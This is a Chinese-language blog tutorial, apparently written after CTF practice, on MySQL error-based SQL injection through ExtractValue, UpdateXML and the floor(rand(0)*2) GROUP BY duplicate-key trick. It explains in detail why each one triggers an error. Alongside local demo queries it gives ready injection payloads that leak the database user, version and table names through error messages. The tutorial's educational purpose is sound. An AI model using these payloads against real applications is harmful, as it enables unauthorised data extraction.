HeartSky's blog


在渗透之路上渐行渐远


几种常见的 MySQL 报错注入

前言

最近又去 ctf 平台上看了下 sql 注入的题目,便萌生了想整理下常见的 MySql 报错注入方式及解析的想法,说干就干

XPath 报错

这里用到的是 ExtractValue 和 UpdateXML 这两个函数,先来看下官方文档中对于这两个函数的定义

ExtractValue

1
2
3
4
5
ExtractValue(xml_frag, xpath_expr)
xml_frag - XML 语言片段
xpath_expr - XPath 语言表达式
......
It returns the text (CDATA) of the first text node which is a child of the elements or elements matched by the XPath expression.

对于 XML(Extensible Markup Language) 和 XPath(XML路径语言) 这里不再作解释,想知道的可以去百度

这个函数的作用是返回与 Xpath 表达式匹配元素的第一个子 text 节点里的内容,返回值和参数均为字符串

举个例子

1
mysql> SELECT ExtractValue('<a><b>X</b><b>Y</b></a>', '//a/b[1]');

这个返回的是 X,即 //a/b[1] 等同于 //a/b[1]/text() ,如果匹配到了多个符合的元素则返回所有匹配元素的第一个子 text 节点的内容,以空格分隔,为单字符串形式

1
2
3
4
5
6
mysql> SELECT ExtractValue('<a><b>X</b><b>Y</b></a>', '//a/b');
+------+--------------------------+
| @i | ExtractValue('<a><b>X</b><b>Y</b></a>','//a/b') |
+------+--------------------------+
| 1 | X Y |
+------+--------------------------+

如果匹配不到任何给定 XML 中的元素,只要 XPath 表达式正确,就会返回空字符串。问题就出在这里,如果表达式不正确,会怎样?

1
2
mysql> SELECT @i,ExtractValue('<a><b>X</b><b>Y</b></a>','?');
ERROR 1105 (HY000): XPATH syntax error: '?'

可以发现爆了 XPath 语法错误,如果我们这样呢?

1
2
mysql> SELECT @i,ExtractValue('<a><b>X</b><b>Y</b></a>',concat('?',user()));
ERROR 1105 (HY000): XPATH syntax error: '?root@localhost'

正如你所看到的,MySQL 对我们传进去的 XPath 表达式先进行了求值,然后判断这不是一个合法的 XPath 表达式(因为有特殊符号?的存在),最后爆出了 XPath 语法错误

所以我们就可以利用这个函数进行显错注入了,比如这里有个 name 参数可以注入

1
name=user1' and ExtractValue(1,concat('?',(select table_name from information_schema.tables)))%23

UpdateXML

与 ExtractValue 函数的利用原理相同,不过我们还是先来看下这个函数的定义

1
2
3
4
UpdateXML(xml_target, xpath_expr, new_xml)
xml_target - XML 语言片段
xpath_expr - XPath 语言表达式
new_xml - 用于替换的 XML 片段

作用是在找到匹配元素的第一个 text 节点的基础上,替换掉它的内容,还是举个例子

1
2
3
4
5
6
7
mysql> SELECT UpdateXML('<a><b>X</b><b>Y</b></a>','//a/b[1]','hacked');
+----------------------------------------------------------+
| UpdateXML('<a><b>X</b><b>Y</b></a>','//a/b[1]','hacked') |
+----------------------------------------------------------+
| <a>hacked<b>Y</b></a> |
+----------------------------------------------------------+
1 row in set (0.00 sec)

返回值是替换后的 XML,和三个参数一样,都是字符串。如果没有匹配到元素或者匹配到了多个元素,返回初始的 XML
所以它的利用方式和上个函数原理相同,均是在 XPath 语言上做文章

1
2
mysql> SELECT UpdateXML('<a><b>X</b><b>Y</b></a>',concat('?',version()),'hacked');
ERROR 1105 (HY000): XPATH syntax error: '?5.7.16'

基于 rand() 与 group by 的错误

rand() 返回一个 0 到 1 之间的浮点数,如果给定了整数常量 N,即 rand(N),N 将会被用作种子值,并产生可重复的值的序列

group by

在官方文档中可以看到有这么一句

1
2
3
RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.

Use of a column with RAND() values in an ORDER BY or GROUP BY clause may yield unexpected results because for either clause a RAND() expression can be evaluated multiple times for the same row, each time returning a different result.

order bygroup by 子句中不能使用 rand() 函数,否则会报错,但是并没有说为什么会报错,从网上找到了这样一个报错语句

1
2
3
id=1 and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,(select user()))x from information_schema.tables group by x)a)

Duplicate entry '1#root@localhost' for key '<group_key>

简化之后就是

1
2
mysql> SELECT COUNT(*) FROM test GROUP BY FLOOR(RAND(0)*2);
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'

但也没有解释为什么会报错,很幸运的找到了这篇文章

下面就来说下为什么一起使用就会报错,准确的说是 count(*)rand()group by(或者 order by)三者不能同时使用

三者同时出现时一定会报错吗?

我们先新建一个表,插入一条记录

1
2
3
USE test;
CREATE TABLE test(id INT NOT NULL,name VARCHAR(10) NOT NULL);
INSERT INTO test VALUES(1,'test1');

执行报错语句

1
2
3
4
5
6
7
mysql> SELECT COUNT(*) FROM test GROUP BY FLOOR(RAND(0)*2);
+----------+
| COUNT(*) |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)

没有报错,我们再增加一条记录

1
INSERT INTO test VALUES(2,'test2');

再次执行报错语句

1
2
3
4
5
6
7
mysql> SELECT COUNT(*) FROM test GROUP BY FLOOR(RAND(0)*2);
+----------+
| COUNT(*) |
+----------+
| 2 |
+----------+
1 row in set (0.00 sec)

还是不会报错,再增加一条

1
INSERT INTO test VALUES(3,'test3');

执行报错语句

1
2
mysql> SELECT COUNT(*) FROM test GROUP BY FLOOR(RAND(0)*2);
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'

终于报错了,所以这个语句的报错与否是有条件的,记录数必须在三条及以上,这时一定会报错,那么这是为什么呢?

虚拟表

我们先在上面的基础上增加一条记录

1
INSERT INTO test VALUES(4,'test3');

然后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
mysql> SELECT * FROM test;
+----+-------+
| id | name |
+----+-------+
| 1 | test1 |
| 2 | test2 |
| 3 | test3 |
| 4 | test3 |
+----+-------+
4 rows in set (0.00 sec)

mysql> SELECT name,COUNT(*) FROM test GROUP BY name;
+-------+----------+
| name | COUNT(*) |
+-------+----------+
| test1 | 1 |
| test2 | 1 |
| test3 | 2 |
+-------+----------+
3 rows in set (0.00 sec)

可能你会觉得理所当然,但这背后 MySQL 做了什么呢?
事实上是 MySQL 在遇到

1
SELECT COUNT(*) FROM xxx GROUP BY x;

这个语句时会建立一个虚拟表,整个流程大概是这样的
1.建立一个空记录的虚拟表(key 是主键,不可重复),像下面这样

1
2
3
4
5
+-------+----------+
| key | COUNT(*) |
+-------+----------+
| | |
+-------+----------+

2.从数据库中查询数据,然后查询虚拟表中是否存在相应主键,若不存在则向其中插入一条新的记录,存在则 COUNT(*) 字段 + 1

报错语句和虚拟表

搞懂了虚拟表,我们就可以来分析下为什么这个语句在数据库中有 3 条及以上记录时就一定会报错了。在官方文档中有写 rand() 出现在 group by 或 order by 子句中时会被计算多次,那么这个被计算多次是什么意思。事实是在使用 group by 时会被执行一次,插入到虚拟表中时还会再执行一次。而且我们要知道在一次查询中 floor(rand(0)*2) 这个的值列表是固定的,为 011011……

第一次查询

值为 0,虚拟表中不存在,插入的时候再执行一次,此时值为 1

1
2
3
4
5
+-------+----------+
| key | COUNT(*) |
+-------+----------+
| 1 | 1 |
+-------+----------+

第二次查询

值为 1,虚拟表中存在,直接 COUNT(*) + 1

1
2
3
4
5
+-------+----------+
| key | COUNT(*) |
+-------+----------+
| 1 | 2 |
+-------+----------+

第三次查询

值为 0,虚拟表中不存在,插入一条新的记录时,rand() 又执行了一次,值为 1,但是 1 这个主键已经存在于虚拟表中了,所以会报错

报错语句构造

知道了怎么回事后就可以构造我们的报错语句了

1
2
mysql> SELECT COUNT(*),CONCAT((SELECT user()),FLOOR(RAND(0)*2))x from test group by x;
ERROR 1062 (23000): Duplicate entry 'root@localhost1' for key '<group_key>'

成功报错 :)